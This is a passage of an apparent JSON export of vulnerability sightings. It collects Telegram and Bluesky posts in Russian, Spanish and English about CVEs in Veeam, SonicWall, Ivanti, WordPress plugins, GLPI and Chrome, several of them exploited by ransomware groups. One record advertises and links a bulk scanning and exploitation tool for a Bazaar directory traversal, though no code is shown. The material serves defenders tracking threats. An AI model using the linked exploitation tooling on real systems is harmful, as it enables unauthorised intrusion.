\u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0430\u0442\u0430\u043a \u043d\u0430 Veeam: \u0440\u0430\u043d\u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0430\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-27532, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0430\u044f\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u043e\u0439 FIN7.\n\n#Veeam #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 #\u0431\u044d\u043a\u0430\u043f\n\n@ZerodayAlert", "creation_timestamp": "2026-07-12T00:00:40.222002Z"}, {"uuid": "86388e4d-c3e5-4ce8-9a0f-f1c05d77df60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/724", "content": "\ud83d\udea8 CVE-2024-40348 \ud83d\udea8\n\n\ud83d\udc49 This is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\n\ud83d\udd17 Download : https://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2026-07-12T00:00:42.282588Z"}, {"uuid": "c0772ec3-5ce6-4c3a-b9fd-6e53f71c56aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4082", "type": "seen", "source": "https://t.me/purp_sec/441", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u041e\u0421 Unity 5.4 \u2014 \u0435\u0449\u0435 \u043c\u043d\u043e\u0433\u043e CVE, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445, \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Dell Unity. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 CVE-2025-22398 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 Dell Unity, UnityVSA \u0438 Unity XT. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 root.\n\n\ud83d\udd35 CVE-2024-12021 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Coverity, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 XSS-\u0430\u0442\u0430\u043a\u0443. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c XSS-\u0430\u0442\u0430\u043a.\n\n\ud83d\udd35 CVE-2025-0282 \u2014 \u043e\u0442\u0447\u0435\u0442 CISA \u043e \u043d\u043e\u0432\u043e\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e RESURGE, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u043c CVE-2025-0282 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Ivanti Connect Secure.\n\n\n\u0410 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE \u0434\u043b\u044f \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0432 WordPress:\n\n\ud83d\udd35 CVE-2025-2294 \u2014 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Kubio AI Page Builder \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35 CVE-2024-3628 \u2014 \u0431\u0430\u0433 \u0432 EasyEvent, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c XSS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35 CVE-2024-4082 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Joli FAQ SEO, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 CSRF-\u0430\u0442\u0430\u043a. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n\ud83d\udd35 CVE-2024-3923 \u2014 \u200b\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Beaver Builder, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u0441\u0435\u0449\u0430\u044e\u0449\u0438\u0445 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-16T00:00:53.254616Z"}, {"uuid": "c7863457-b237-4834-b068-9a42c0f09ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/pleyades_it/11791", "content": "\u2757\ufe0fEl grupo de #ransomware Akira est\u00e1 explotando una #vulnerabilidad, de un a\u00f1o de antig\u00fcedad, en los firewall de SonicWall -- CVE-2024-40766\nhttps://acortar.link/tXPsxs", "creation_timestamp": "2026-07-12T22:00:14.731725Z"}, {"uuid": "59b1dbb2-180c-4470-952c-452e1cf4c04b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/pleyades_it/11791", "content": "\u2757\ufe0fEl grupo de #ransomware Akira est\u00e1 explotando una #vulnerabilidad, de un a\u00f1o de antig\u00fcedad, en los firewall de SonicWall -- CVE-2024-40766\nhttps://acortar.link/tXPsxs", "creation_timestamp": "2026-07-13T00:00:38.611174Z"}, {"uuid": "da0d9dca-5fe0-404c-a65e-146f26d74630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/pleyades_it/11791", "content": "\u2757\ufe0fEl grupo de #ransomware Akira est\u00e1 explotando una #vulnerabilidad, de un a\u00f1o de antig\u00fcedad, en los firewall de SonicWall -- CVE-2024-40766\nhttps://acortar.link/tXPsxs", "creation_timestamp": "2026-07-14T00:00:53.566252Z"}, {"uuid": "48142b25-cb13-4aa0-8bc1-2f59fbef2194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/ctinow/252206", "content": "CVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration., (Tue, Jun 23rd)\nhttps://ift.tt/lPCG15F", "creation_timestamp": "2026-07-14T14:00:05.127035Z"}, {"uuid": "fec84e6e-e38c-4a2d-bb31-5bcac71558d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40275", "type": "published-proof-of-concept", "source": "Telegram/m_mWdLfn7AzxtutPwUwFotcuCU2as0PFXRgnVVXbxrPnDrU", "content": "", "creation_timestamp": "2026-08-18T12:00:03.227373Z"}, {"uuid": "b3025ad2-ac82-4647-8ba0-0b3506668849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/ctinow/252206", "content": "CVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration., (Tue, Jun 23rd)\nhttps://ift.tt/lPCG15F", "creation_timestamp": "2026-07-15T00:00:22.996689Z"}, {"uuid": "19e65ee1-7551-459e-b7de-8dc9a123ad12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "Telegram/5eTpW_qBXPixA0OdsG1apBZAG4chJS2548Nt1at2AKsDhKw", "content": "", "creation_timestamp": "2026-08-25T20:00:04.209908Z"}, {"uuid": "a7129bfa-7d02-47a3-9841-f8fe4751e246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/thehaking/2801", "content": "\u0421\u0430\u043c\u044b\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f: \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 Microsoft, VMware, Veeam \u0438 \u0434\u0440\u0443\u0433\u0438\u0435\n\n\u041f\u0440\u0438\u0432\u0435\u0442! \u042f \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041b\u0435\u043e\u043d\u043e\u0432, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 PT Expert Security Center. \u041c\u044b \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0432 Positive Technologies \u043a\u0430\u0436\u0434\u044b\u0439 \u043c\u0435\u0441\u044f\u0446 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0438\u0437 \u0431\u0430\u0437 \u0438 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432, \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439, \u0431\u043b\u043e\u0433\u043e\u0432, \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u043c-\u043a\u0430\u043d\u0430\u043b\u043e\u0432, \u0431\u0430\u0437 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043a\u043e\u0434\u0430 \u0438 \u0432\u044b\u044f\u0432\u043b\u044f\u0435\u043c \u0432\u043e \u0432\u0441\u0435\u043c \u044d\u0442\u043e\u043c \u043c\u043d\u043e\u0433\u043e\u043e\u0431\u0440\u0430\u0437\u0438\u0438 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u042d\u0442\u043e \u0442\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043b\u0438\u0431\u043e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0436\u0438\u0432\u0443\u044e, \u043b\u0438\u0431\u043e \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0447\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043c\u044b \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u0441\u0435\u043c\u044c \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft:\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a\u0435 Windows (CVE-2024-38014)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Mark of the Web (MotW) \u0432 Windows (CVE-2024-38217)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 Windows MSHTML Platform (CVE-2024-43461)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 \u0432 VMware vCenter \u0438 VMware Cloud Foundation (CVE-2024-38812)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 Veeam Backup & Replication (CVE-2024-40711)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0432\u0435\u0431-\u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u043e\u0439 Round\u0441ube Webmail (CVE-2024-37383)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 \u00abSQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f\u00bb \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 The Events Calendar \u0434\u043b\u044f WordPress (CVE-2024-8275)\n\nhttps://habr.com/ru/companies/pt/articles/849310/\n\n\ud83d\udc49@thehaking", "creation_timestamp": "2026-08-28T00:00:59.867205Z"}, {"uuid": "b9bcd181-18c0-4c47-884f-364cf4380c9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "Telegram/5eTpW_qBXPixA0OdsG1apBZAG4chJS2548Nt1at2AKsDhKw", "content": "", "creation_timestamp": "2026-08-26T00:00:08.350683Z"}, {"uuid": "f7069333-ac61-4d19-987b-486dfcaffa65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40638", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrdow3rnrs2i", "content": "\ud83d\udccc CVE-2024-40638 - GLPI is a free asset and IT management software package. An authenticated user can exploit multiple SQL injection vulnerabilities. One of them can be ... https://www.cyberhub.blog/cves/CVE-2024-40638", "creation_timestamp": "2026-07-23T20:37:07.040741Z"}, {"uuid": "bc9cff68-1ad3-462d-bebf-10511caab405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/ZerodayAlert/365", "content": "CVE-2024-40766: \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438\n\n\ud83d\udd13 \u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Akira \u0438 Fog \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40766 \u0432 SonicWall VPN. Arctic Wolf \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 30 \u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 VPN-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b SonicWall, \u043f\u0440\u0438\u0447\u0435\u043c 75% \u0438\u0437 \u043d\u0438\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 Akira.\n\n\u26a1\ufe0f \u0412\u0440\u0435\u043c\u044f \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435\u043c \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u0442 1,5 \u0434\u043e 10 \u0447\u0430\u0441\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0431\u0449\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u0431\u0438\u0440\u0430\u044e\u0442 \u0441\u0432\u0435\u0436\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044f \u0444\u0430\u0439\u043b\u044b \u0441\u0442\u0430\u0440\u0448\u0435 6 \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\ud83d\udee1 \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0441\u0442\u0430\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 SonicOS \u0438 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0425\u0430\u043a\u0435\u0440\u044b \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 VPN \u0438 VPS \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0438\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0447\u0442\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u0438\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435.\n\n#sonicwall #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0438 #\u0432\u0437\u043b\u043e\u043c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:20.487196Z"}, {"uuid": "c115da30-61f3-4a2a-9d89-c177195ad660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4058", "type": "seen", "source": "https://t.me/linuxkalii/879", "content": "\ud83d\udcbb \u0412 Chrome \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 16000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432\n\n\ud83d\uddc4\u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Chrome 124, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0441\u0440\u0430\u0437\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 CVE-2024-4058 